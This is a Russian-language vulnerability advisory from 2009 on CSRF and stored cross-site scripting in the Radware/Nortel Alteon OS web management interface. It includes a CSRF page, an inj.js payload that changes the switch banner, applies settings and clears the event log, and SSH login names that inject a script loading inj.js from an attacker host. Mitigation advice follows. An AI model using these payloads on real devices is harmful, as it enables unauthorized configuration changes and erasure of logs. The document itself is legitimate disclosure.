DSECRG-09-062

Вендор

Radware

Продукт

Alteon OS BBI

Тип уязвимости

Множественные уязвимости

Reported

11.08.2009

Date of Public Advisory

28.10.2009

Автор

Алексей Синцов

Детальное описание

1. Подделка межсайтового запроса
****************************************
Уязвимость позволяет удаленному злоумышленнику выполнять различные административные действия и изменять конфигурацию сетевого оборудования. 

Пример: [Смена баннера]: 
*****************************
<html> 
<head> 

<title>Nortel XSRF</title> 
</head> 
<body> 

<script src="http://<Switch>/switchSystem.html/bar?banner=newBanner</script> 
<script src="http://<Switch>/TopToolArea.html?actionState=apply"></script> 

</body> 
</html> 

2. Межсайтовый скриптинг
*******************************
Злоумышленник может внедрять 36 байт в лог, используя имя учётной записи при аутентификации SSH. Имя учетной записи записывается и отображается в сгенерированой странице с журналом событий как есть - без фильтрации. 

В совокупности обе уязвимости дают возможность для изменения конфигурации активного оборудования. Возможность внедрения JavaScript кода в журнал событий без аутентификации увеличивает вероятность проведения успешной атаки как на активное оборудование, так и на рабочую станцию администратора. 

Кроме того, многие другие строковые параметров в браузерном интерфейсе не фильтруют тэги. 

Пример 
*********
В качестве примера, создадим специальный файл (inj.js) и положим его на контролируемый веб сервер. Данный код меняет баннер, применяет новые настройки и чистит журнал событий: 

inj.js: 

var request = !window.ActiveXObject ? new XMLHttpRequest() : new 
ActiveXObject("Microsoft.XMLHTTP"); 

//Change banner 
request.open("GET", 
"http://<NortelSwitch>/switchSystem.html/bar?banner=thx2Kononenko", false); 
request.send(null); 

request = !window.ActiveXObject ? new XMLHttpRequest() : new 
ActiveXObject("Microsoft.XMLHTTP"); 

//apply changes 
request.open("GET", "http://<NortelSwitch>/TopToolArea.html?actionState=apply", 
false); 
request.send(null); 

request = !window.ActiveXObject ? new XMLHttpRequest() : new 
ActiveXObject("Microsoft.XMLHTTP"); 

//Clear log 
request.open("GET", "http://<NortelSwitch>/clearLog.html", false); 
request.send(null); 

Далее злоумышленник может выполнить атаку через SSH. 

Exploit: 

alexey@shell#:ssh <NortelSwitch> 

login as: <script a=" 
<script a="@<NortelSwitch>'s password: 
Access denied^C 

alexey@shell#:ssh <NortelSwitch> 

login as: " src="http://<EvilHost>/inj.js" b=" 
" src="http://212.24.49.12/inj.js" b=" com2="@<NortelSwitch>s password: 
Access denied^C 

alexey@shell#:ssh <NortelSwitch> 

login as: "></script> 
"></script>@<NortelSwitch>'s password: 
Access denied^C 

В итоге в журнале событий будет содержаться следующий код: 

... 
Jul 3 13:12:44 <NortelSwitch> NOTICE mgmt: Failed login attempt via SSH from host 
<AttackerHost>, user <script a="<BR>Jul 3 13:13:08 <NortelSwitch> NOTICE mgmt: 
Failed login attempt via SSH from host <AttackerHost>, user " 
src="http://<EvilHost>/inj.js" b="<BR>Jul 3 13:13:23 <NortelSwitch> NOTICE mgmt: 
Failed login attempt via SSH from host <AttackerHost>, user "></script><BR> 

Решение
**********

Мы не получили ответа от Radware в течение двух месяцев. Поэтому мы не знаем 
о наличии этих уязвимостей в версиях 25.0.1.0 - 25.1.0.0 и каком-либо другом решении проблемы. 

Наши рекомендации: 

1. Не использовать BBI. 
2. Изменить стандартный порт сервиса SSH. 

/c/sys/access/https/https d 
/c/sys/access/http d 
/c/sys/access/sshd/sshport 42 

3. Ограничить доступ к SSH и BBI, оставив доступ только доверенным хостам.